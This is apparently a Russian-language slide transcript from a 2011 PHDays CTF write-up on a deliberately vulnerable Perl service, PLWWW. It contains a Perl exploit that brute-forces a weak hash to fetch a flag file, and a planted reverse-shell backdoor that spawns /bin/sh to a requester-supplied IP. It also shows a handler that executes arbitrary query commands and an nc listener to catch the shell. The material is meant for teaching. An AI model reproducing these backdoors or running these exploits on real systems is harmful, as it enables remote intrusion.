plwww (24.03) mephi (phdays)
TRANSCRIPT
PHDays Afterparty 2011PLWWW (#1, #3)
PLWWW и с чем его едят
Сервис Монолит – зачатки исследовательской лаборатории.
Работа с сервисом осуществляется по средствам протокола HTTP, но
поддерживающего всего два метода работы – GET и ADMIN. Метод GET –
служит только для получения информации, метод ADMIN – для доступа к
панели управления сервисом. После запуска, сервис доступен на порту
8080.
Со стороны файловой системы – сервис представляет собой скрипт,
разработанный на языке Perl. Код скрипта не обфусцирован, но его
структура и используемые методы вводят в заблуждение при первом
рассмотрении. Это сделано. Данный метод разработки скрипта
объясняется со стороны легенды тем, что он был написан на скорую руку
программистами различных галактических рас.
PLWWW и с чем его едят (192.168.X.2:8080)
4 состояния
#1 – ошибка при генерации хеша
#2 – слабый пароль администратора (банально)
#3 – бэкдор (странно, откуда он появился? )
#4 – RCE (очевидная, но только
на первый взгляд)
PLWWW #1 (192.168.X.2:8080)
#1 – ошибка при генерации хеша
PLWWW #1 (192.168.X.2:8080)
Понять принцип работы сервиса
Функция tToSystem
(Особенность данной функции состоит в том, что она заменяет все гласные латинского
алфавита присутствующие в запросе на набор других символов (согласные латинского
алфавита + спец символы))
Метод GET – функция kh8ploegjst
kh8ploegjst -> cryptFn
sub cryptFn (&@) { my($tXt,@enc,$len)=@_; my $jk; my $encK=""; for ($jk=0;$jk le $len;$jk++) { $encK .= $enc[$jk]; } for ($jk=0;$jk <= $len;$jk++) { $encK .= $enc[$jk]; } my $value=md5_hex("$tXt$encK"); return $value;}
PLWWW #1 - cryptFn (192.168.X.2:8080)
НА ВХОДЕ : cryptFn(“record_1”,split(//,”XXSSDDFDS”),scalar(split(//,$_)))
НА ВЫХОДЕ : md5_hex(“record_1X");
PLWWW #1- cryptFn (192.168.X.2:8080)
sub cryptFn (&@) { my($tXt,@enc,$len)=@_; my $jk; my $encK=""; for ($jk=0;$jk le $len;$jk++) { $encK .= $enc[$jk]; } for ($jk=0;$jk <= $len;$jk++) { $encK .= $enc[$jk]; } my $value=md5_hex("$tXt$encK"); return $value;}
PLWWW #1 - exploit (192.168.X.2:8080)
Функция kh8ploegjst – достаточно подставить «0» как длину имени
директории для выхода в корень.
Для получения валидного хеша файла YOURFLAG.TXT – достаточно узнать
первый символ секретного ключа.
#!/usr/bin/perluse LWP::UserAgent;use Digest::MD5 'md5_hex';@crypto=(a..z);$fileName="YOURFLAG.TXT";$ua=LWP::UserAgent->new();foreach $sym (@crypto) {
$sym="d";$value=md5_hex("$fileName$sym");print "$sym $value\n";$br=$ua->get("http://192.168.1.2:8080/0$value");print $br->content;if ($br->content=~/FLAG/) {
print $br->content;exit();
}}
PLWWW #1 – FIX
?
PLWWW #3 (192.168.X.2:8080)
Смена состояния сервиса, помимо заплаток, приносит в код небольшой
бекдор. Бекдор представляет собой необычное поведение сервиса при
обращении к нему со специально сформированным запросом – сервис
создает бекконнект на указанный в запросе IP адрес с предоставлением
командной строки.
sub pm_backton (&@) { use IO::Socket;use Socket;use FileHandle;my($h0st)=@_;$h0st=~s/d/\./gi;my $tm='/bin/sh'; my $p0rt=int(rand(20000))+10000;socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')); connect(SOCKET, sockaddr_in($p0rt, inet_aton($h0st)));SOCKET->autoflush();open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET");open(STDERR,">&SOCKET");system($tm);}
PLWWW #3 (192.168.X.2:8080)
Метод ADMIN – функция kh8p1oegst
sub kh8p1oegjst (&@) { my($query,$enc_key)=@_; my $status=""; my $aPass="dfknmsdxz83945023489532"; open(FE,"configuration"); while (my $e=<FE>) {chomp($e);if ($e=~/PASSWORD/) {$e=~s/PASSWORD //gi;$aPass=$e;}} close(FE); if ($query=~/klrbxtzkljsbrklpjsfxljsspzkssndklrd/) { my(@Fghj)=split(/klrbxtzkljsbrklpjsfxljsspzkssndklrd/,$query); if ($aPass eq $Fghj[1]) { $status=&aPage; } } elsif ($query=~/klrbxczklisbrklpjsfxljsspzkssndklrd/) { my(@Fghj)=split(/klrbxczklisbrklpjsfxljsspzkssndklrd/,$query); $status=`$Fghj[1]`; } if ($query=~/bzkckdklklr/) {$query=~s/bzkckdklklr//gi;&pm_backton($query);} return $status;}
PLWWW #3 – exploit (192.168.X.2:8080)
iptables -t nat -A OUTPUT -p tcp --dport 10000:30000 -j REDIRECT --to-ports 31337nc –l –p 31337
PLWWW #3 – FIX
?